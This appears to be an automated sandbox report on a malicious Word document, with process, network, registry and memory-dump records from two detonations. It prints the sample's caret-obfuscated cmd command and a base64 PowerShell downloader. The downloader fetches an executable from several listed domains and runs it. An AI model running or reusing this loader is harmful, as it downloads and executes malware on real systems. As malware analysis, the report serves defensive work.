^3 ^0 ^ 4^5^ ^60^ 47 ^3^ ^7 ^ ^ ^ ^3^7 ^ ^ ^3^ 0 ^ ^ ^ ^4^5 ^ ^ ^ 60 ^6^3^ 3^ 7^ 4^6^ ^3^ ^ ^0^ ^ 1^0 ^ ^6^0 39 ^ ^3 38^ ^4^5^ ^ ^3 1^9^ ^3 ^ ^ ^3 ^6^2^ ^ 3^ 13^ ^ 2^ 3 ^ 1^7^ 8^ ^ ^ ^60^ 3 ^ 3^ ^7 ^ ^ ^45^ ^ ^ 3^ 2^6 3 60^ 59^ ^ 3^ ^ 52 ^ 3 ^3^ ^1^7 ^ 45^ ^ ^ ^3 2^2^ 3 4^2 ^ ^ ^ ^37^ ^ ^ 3 4^1^ 10^ ^ 6^0^ ^ ^ ^ 48^ ^ 3^ ^ ^ 7^ 3^8 ^3 ^ 1^9^ 3^ ^6^0^ 4^6 3^ ^7 ^6^5^ ^3^ ^ ^1^9^ ^ ^ ^4^5^ ^60 ^ ^56^ 3^ 7^ 65 ^ 3 55^ ^45 ^6^0^ ^29^ 3^ ^ ^ ^ ^7^ ^ 38 ^3^ ^ ^1^9 3^ ^60^ ^4^6^ ^ ^ ^ ^3^ ^ ^52 ^ ^8 ^3 ^19^ ^ 10^ ^6^0^ ^6^3 3^ ^ 52 6^7^ ^3^ ^ ^ 19^ ^ ^ ^4^5^ ^ ^ ^60 ^ ^ ^ 3^6^ ^ ^ ^3 ^ ^ 7^ ^ 5^9^ ^3^ 6^8 ^ ^ 8 6^0 32^ ^ ^3^ ^ ^52^ ^ ^8^ ^3 ^0 ^ ^45 60^ ^47 ^ 3^ 7^ 37^ 3 ^1^9 ^ ^8^ ^3^ 2^2^ 3^ ^ 1^3 ^ ^ 65^ 3^ ^ 2^5 ^ ^8^ ^ ^ ^ 60^ ^ 31 ^3 ^ ^7^ ^ ^ ^3^7^ ^3^ ^8 3 ^60 4^8 ^ 3^ ^52 ^ ^8 ^3^ 2^6 ^3 ^6^0 ^1^0 3 ^13^ 4^8 3 0 ^1^0 ^ 3 22 ^ ^ ^ 3^ ^ ^ 52 ^8^ ^ 3 1^6^ ^3^ 6^0^ 23^ 3^ ^5^2 ^ ^3 3 ^55 ^ 45^ ^60 2^3^ ^ ^ ^3 ^ 52 ^ ^ ^2^ ^3^ ^ ^68^ ^ 8^ 60 ^ ^3^2 3 ^5^2 ^ 8^ 3 ^ 41^ ^8^ 60 ^ ^5^9 ^ ^3 ^ ^7^ ^ ^ ^ ^12^ ^ ^ ^3^ 19 10^ ^ ^ ^6^0 3^2 ^ ^3 5^2 ^ ^ ^2^ ^3^ 2^6^ ^3 ^ 6^0 ^ 3^6 ^ 3^ ^ ^7^ ^55 ^ 3 ^68 ^ ^ ^8^ 3 ^32 ^ ^3^ ^7 ^2^ ^ 3 1^9^ ^ ^ ^ 10^ ^60^ ^ ^20 ^ 3^ ^ ^ ^4^2^ ^3^7 3 ^5^1 45 3 ^63 ^3^ ^ ^7 59 ^ ^ ^3^ ^64^ 3^ ^ 6^0 ^ 1^5^ 3^ ^ ^ 38 ^ ^ ^1^2 ^ ^3 ^5^8 ^1^0^ ^ ^6^0^ ^ ^6^7^ ^ 3^ ^ ^ ^3^8^ ^3^ ^ 3 ^16 ^ ^3 ^ ^ 6^0^ ^ 59^ ^ ^ 3 ^ ^ ^52 ^ ^8^ ^3 ^5^5 3 3^ ^27 ^3 42^ ^ ^37 ^3^ ^0^ ^ 1^0^ 60^ ^ ^12 ^3 ^ ^7^ ^65^ ^3^ 1^9 ^ ^ ^8 ^6^0^ ^ ^ 22^ ^3^ ^ ^ 42^ 66 ^ ^ ^ ^3 ^ ^ 34 ^8^ ^ 3^ ^6^6^ ^ ^3^ ^ ^ ^7 ^ ^ ^12 ^ ^3 ^1^9^ 4^5^ 60^ ^11 ^3 ^ ^ ^7 3^8^ ^3^ 4^1 8^ ^ ^60 ^ ^5^9 3^ ^ ^4^2^ ^6^6 ^ ^ 3 ^ ^41^ 10^ ^6^0 ^ ^2^2 ^3^ ^ ^7 5^9^ ^ 3 ^ 0^ ^10^ 6^0 ^ 59 ^ ^ ^ 3 ^ ^ 52^ ^ ^ ^6^5^ 3^ ^25^ 10 60^ ^ ^ 17 3^ ^ ^ 1^3 ^4^1^ ^ ^ ^ 3^ 25^ ^4^5 ^60 ^58 ^3 4^2^ 55 ^ 3 ^ ^0^ 4^5^ 6^0 ^ ^5^8^ 3^ ^ ^ 52 3 ^ ^3 ^ ^ ^19 ^ ^ 3 ^60^ 61^ 3 5^2 8^ ^ ^ ^3 ^2^1 ^ ^3^ ^3 ^ ^ ^ ^5^6^ ^ 3 3^8^ ^ ^ 3 3 ^ ^53 1^0^ 3^ ^61^ ^ 3 ^13^ 4^6 ^ ^ ^3^ 53^ ^ 3 ^6^0 ^ ^6^0^ 3 ^ 7^ ^6^6^ ^3 ^ 1^4 ^ 3^ ^ ^ 3 45^ ^3^ ^ ^ ^ ^13^ ^ ^ ^ 59^ ^ ^3 ^67 ^3^ ^3^ ^56 3^ 13 6^7^ ^ ^ 3^ ^ ^ ^2 3 ^3^ ^ 11^ 3^ ^4^2 ^5^5 ^ 3^ ^ 1^7^ ^ ^ ^1^0^ ^ ^3^ ^ 1^2^ ^ 3 ^5^2 ^48^ ^ 3^ ^58^ ^ ^ 4^5 60 ^68^ ^ ^ 3 1^3 ^ ^5^9^ ^3^ ^ ^ ^ 53^ ^ 3^ ^ ^ 6^0^ ^23^ ^ ^ ^3^ ^ 7^ ^ 6^6 3 ^ 2^6^ 4^5 ^3 2^7 ^3 52 ^ ^3 ^3^ ^26^ ^8^ ^6^0^ 2^9 3^ ^ 7 ^ ^ ^ 10^ ^ 3 ^16^ ^ ^8 ^6^0 47^ 3 ^ ^4^2^ 46^ ^ ^ ^ 3 ^53 10 6^0^ ^5^5 ^3^ 4^2^ ^ 55^ 3 2^1 ^ ^1^0^ ^ ^3 ^ 1^2 3^ 3^8 ^ 3^8 3^ ^ ^ 19^ ^45 60 ^ ^6^7 3^ 4^2 ^ ^46 ^ ^ ^3 ^5^3 ^ ^ ^10 3 ^ ^ ^ ^3^2 3 ^ 7 ^65 ^ ^ ^3 ^57^ 3 6^0^ ^2^3^ ^3^ ^42 ^ ^5^5^ 3 ^ ^ ^1^7 10^ ^ ^ ^6^0^ ^ 4^3 3 7 ^ 37 ^3 ^ ^5^5 ^45 ^6^0 ^ ^ ^ ^2^3^ ^ ^3 ^7^ ^ ^38^ 3^ ^ ^4^1 10 60^ ^ ^4^8 ^3 ^42^ 4^5^ ^3^ ^ 53 3 ^ 6^0 ^ 61^ ^3 ^ ^18 45^ 3 1^6^ ^ 1^0 ^ ^3^ ^45^ ^ ^ ^3^ ^ ^ ^ ^7 ^ 12 ^ 3 ^ ^1^9^ ^ ^ ^4^5^ ^3 ^4^5 3 ^42^ 8 ^ ^ 3 ^ ^ 57 45 6^0^ ^ ^6^8^ 3^ ^7^ ^ 48 ^3^ ^21 ^ ^8^ 6^0 ^54^ ^3 5^2^ 8 ^ ^ 3^ ^5^5^ ^45 ^ ^ ^60 3^0 ^ ^ 3 ^5^2^ ^ ^46 3^ ^53 ^ ^ ^3 ^ 6^0^ ^15 ^ ^ ^3 3^8 48^ 3^ 5^5^ ^ ^ 3^ ^3^ ^ 3^2^ ^ ^3^ ^ ^38 ^8^ ^3 ^ ^ ^1^9^ ^ 10^ ^ 60^ ^ ^ 2^4^ 3^ ^ 7 ^6^6 ^ ^ ^ ^3^ 19 ^3 ^60 ^ ^ ^ ^22 3 7 ^ 3^8^ ^ 3^ 6^8^ ^ 3^ ^ ^ 60 ^7 ^3 ^7 ^ 12 3^ ^19^ 3^ 60 ^ 23^ ^ ^ ^3^ ^42^ 45 ^3^ ^ 5^3^ 3^ ^6^0 ^ ^6^1 ^ ^3^ ^ 1^8^ 45 3^ ^16^ ^1^0^ 3 4^6^ ^ ^ ^3 4^2^ ^ ^3^ ^ ^3 ^ ^ ^53^ ^3^ ^ ^ 6^0 ^27^ ^3^ ^3^8 ^6^6 ^3^ ^64 8^ 3 ^ 61 3^ ^ ^1^3^ ^ ^ 4^6 ^ ^ 3^ ^ 1^4^ 8 ^6^0 ^ ^3^2^ ^3 ^ ^ ^5^2 ^ ^ ^ 41 ^3^ ^ ^19 ^1^0 ^6^0^ 4^0 ^3 ^7 ^ ^ ^6^5 ^ ^3^ 0 ^ ^8 ^60^ 53 3^ ^ ^ 5^2 ^8^ ^ ^3 ^68^ 8^ 6^0 ^20 ^ 3^ 4^2^ 3^ 3^ ^ ^53 3^ ^ ^ ^60^ ^27^ ^ ^ ^3^ ^ 38 6^6^ ^3^ ^ ^6^4 ^ 8 3 ^ 5^4 ^ ^ ^3^ ^7 ^67^ ^3 ^ 5^5^ ^4^5^ ^ 60 2^3 ^ ^ 3 7^ 3^8 ^ ^3^ 16^ ^1^0^ ^ 3^ ^ ^ 5^4 3^ ^5^2 ^ 59^ ^3 ^ ^ ^ ^41 10 ^ ^6^0 36^ ^ 3^ 52^ ^8^ ^ ^3 ^41^ ^10^ ^ 6^0 ^ 48 ^ ^3^ 52 ^46 ^3 49^ ^8^ ^60 ^4^4 ^ ^ ^3^ 42^ 3^ ^3^ 67^ 3 3 45 3^ ^4^2 ^3 ^ ^3^ 6^7 ^ ^ ^ 3^ ^3 ^ ^4^5^ ^3 ^ ^4^2 3^ 3 67 ^3 ^ 3^ ^ ^4^5^ 3 4^2^ 3 3 6^7^ ^ 3^ ^ 3^ ^ ^45^ ^ ^ ^3 4^2^ 3 ^ ^ ^3 6^7^ ^ 3 ^3 ^ ^ ^ 45 ^3 ^4^2^ ^ 3 ^ 3 ^ ^ ^6^7^ 3 ^ ^3^ ^2^8 ^6^9) ^D^O S^e^T ^or^d=!^or^d!!R^0:~ %^S,1!&& ^I^f %^S G^tR ^68 C^a^l^L %^or^d:^~ ^ ^ 5% "

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

powershell -e JABPAEoAcAA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6AFkAagA9ACcAaAB0AHQAcAA6AC8ALwBqAG8AYgBhAHIAYgBhAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZABzAHQAZgA2AEAAaAB0AHQAcAA6AC8ALwBsAGkAZwBoAHQAYgBvAHgALgBsAGIAZABlAHYALgBjAG8ALgB1AGsALwBXAEgAbAAyADMAOQBAAGgAdAB0AHAAOgAvAC8AYwBoAGEAbABsAGUAbgBnAGUAcgBiAGEAbABsAHQAbwB1AHIAbgBhAG0AZQBuAHQALgBjAG8AbQAvADUARQB2AG8AQABoAHQAdABwADoALwAvAHQAaABlAHAAcgBlAHMAZQBuAHQAYQB0AGkAbwBuAHMAdABhAGcAZQAuAGMAbwBtAC8AVgA1AG0AWABPAEkATwBIAEAAaAB0AHQAcAA6AC8ALwBkAGUAbQBvAC4ANQA4AGkAbgBzAGEAYQB0AC4AYwBvAG0ALwB0AHUARwBOADYARgBTACcALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABBAG4ASAAgAD0AIAAnADIAMAAzACcAOwAkAHoATgBZAD0AJABlAG4AdgA6AHAAdQBiAGwAaQBjACsAJwBcACcAKwAkAEEAbgBIACsAJwAuAGUAeABlACcAOwBmAG8AcgBlAGEAYwBoACgAJABpAFgAawAgAGkAbgAgACQAegBZAGoAKQB7AHQAcgB5AHsAJABPAEoAcAAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJABpAFgAawAsACAAJAB6AE4AWQApADsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJAB6AE4AWQA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA=

Network

Country Destination Domain Proto
US 8.8.8.8:53 jobarba.com udp
DE 3.64.163.50:80 jobarba.com tcp
US 8.8.8.8:53 lightbox.lbdev.co.uk udp
GB 52.56.73.24:80 lightbox.lbdev.co.uk tcp
US 8.8.8.8:53 challengerballtournament.com udp
US 8.8.8.8:53 thepresentationstage.com udp
US 8.8.8.8:53 demo.58insaat.com udp

Files

memory/2224-0-0x000000002FC41000-0x000000002FC42000-memory.dmp

memory/2224-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2224-2-0x0000000070FED000-0x0000000070FF8000-memory.dmp

memory/2224-6-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2224-49-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2224-26-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2224-92-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2224-133-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2224-90-0x00000000062D0000-0x00000000063D0000-memory.dmp

memory/2224-7-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2224-440-0x0000000070FED000-0x0000000070FF8000-memory.dmp

memory/2224-441-0x0000000000450000-0x0000000000550000-memory.dmp

memory/2224-442-0x00000000062D0000-0x00000000063D0000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

MD5 75d630cf5020b162d7377badb7f7a53e
SHA1 4ac678410baafd16c024b427d5721f0be2131648
SHA256 4f8ab35e12e8cc53a4eba61abd572b04e6f89328f99148105e707a7b799367c8
SHA512 56218dd9d89082443ec6da661eb8c278a6259449d72b7539e140963e15742553a5aedde651eb7cf0b5eeb587c86b54069b2976f2404c8e50abf1a7bde09b12f2

memory/2224-457-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2224-458-0x0000000070FED000-0x0000000070FF8000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-20 07:09

Reported

2024-05-20 07:12

Platform

win10v2004-20240508-en

Max time kernel

143s

Max time network

157s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5dcad7b1c0dca174dbd586e30b37045e_JaffaCakes118.doc" /o ""

Signatures

Process spawned suspicious child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process N/A C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Windows\system32\dwwin.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Windows\system32\dwwin.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Windows\system32\dwwin.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Windows\system32\dwwin.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Windows\system32\dwwin.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5dcad7b1c0dca174dbd586e30b37045e_JaffaCakes118.doc" /o ""

C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE

"C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\DW\DW20.EXE" -x -s 3884

C:\Windows\system32\dwwin.exe

C:\Windows\system32\dwwin.exe -x -s 3884

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 0.204.248.87.in-addr.arpa udp
US 8.8.8.8:53 67.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 240.76.109.52.in-addr.arpa udp
NL 23.62.61.129:443 www.bing.com tcp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 129.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp

Files

memory/1552-0-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/1552-1-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/1552-2-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/1552-4-0x00007FFEA7B2D000-0x00007FFEA7B2E000-memory.dmp

memory/1552-6-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/1552-5-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-8-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-7-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-3-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/1552-11-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-12-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-10-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-13-0x00007FFE653A0000-0x00007FFE653B0000-memory.dmp

memory/1552-9-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-14-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-15-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-16-0x00007FFE653A0000-0x00007FFE653B0000-memory.dmp

memory/1552-19-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-20-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-18-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-17-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-38-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-39-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/2540-41-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/2540-56-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/2540-59-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/2540-58-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/2540-57-0x00007FFE67B10000-0x00007FFE67B20000-memory.dmp

memory/2540-60-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp

memory/1552-61-0x00007FFEA7A90000-0x00007FFEA7C85000-memory.dmp